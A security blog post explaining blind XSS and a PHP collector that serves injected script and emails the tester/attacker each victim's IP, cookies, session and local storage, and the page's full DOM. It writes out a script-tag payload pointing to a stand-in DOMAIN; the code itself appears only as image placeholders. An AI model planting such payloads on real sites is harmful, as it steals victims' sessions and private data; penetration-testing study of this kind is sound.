Blind XSS Code

There are situations where an injection traverses profile areas, services and even network boundaries usually by means of a database storage of user controlled input (stored XSS). But when a tester or attacker is not able to see his/her injection working using regular ways and/or the inner workings of the affected software is not known, a different kind of probing is needed to spot the vulnerability. This is usually the case of vulnerable code in unreachable environments, like an intranet.

A simple code to grab remote info from a victim which triggers a blind XSS and emailed them to a tester/attacker is here. It needs to be renamed to index.php and have the email data “myName@myDomain” and “report@myDomain” correctly replaced by tester/attacker own settings. It also needs a SMTP server installed and configured in the system. This and this will help if you’re doing it from scratch.

blind-xss-0

That code is a PHP file that is used both as a source of the injected script and as a mailer. Placed in the web root of a domain, it’s just needed to include it in a payload with:

<script src=//DOMAIN/></script>

When calling the script, the browser makes a GET request to index.php (which is the folder’s default file) and receives plain text to execute. It grabs the victim’s data, from it’s IP to the full DOM of the page where it was executed. After, it makes a XHR POST request to itself with this data allowed by the CORS header Access-Control-Allow-Origin, populated with the origin provided by the javascript code:

blind-xss-1

This time it’s the PHP code that will handle the POST request, creating the report with the info grabbed by both javascript and PHP code and emailing it to the tester/attacker:

blind-xss-2

Which looks like:

blind-xss-3-1

The following info is present in the report.

  • IP address: address of the victim’s browser (requester) and proxy (forwarded for).
  • User agent: browser of the victim.
  • Target URL: where the victim executed the payload.
  • Referrer URL: the previous page from where the victim came.
  • Readable cookies: all victim’s non http-only cookies.
  • Session storage: data stored by browser for duration of the victim’s session in JSON format.
  • Local storage: data stored by browser for beyond the duration of the victim’s session in JSON format.
  • Full document: the DOM of the target URL.

#hack2learn

7 thoughts on “Blind XSS Code

  1. […] There are situations where an injection traverses profile areas, services and even network boundaries usually by means of a database storage of user controlled input (stored XSS). But when a tester or attacker is not able to see his/her injection working using regular ways and/or the inner workings of the affected software is not known, a different kind of probing is needed to spot the vulnerability.  […]

  2. […] There are situations where an injection traverses profile areas, services and even network boundaries usually by means of a database storage of user controlled input (stored XSS). But when a tester or attacker is not able to see his/her injection working using regular ways and/or the inner workings of the affected software is not known, a different kind of probing is needed to spot the vulnerability.  […]

Leave a Reply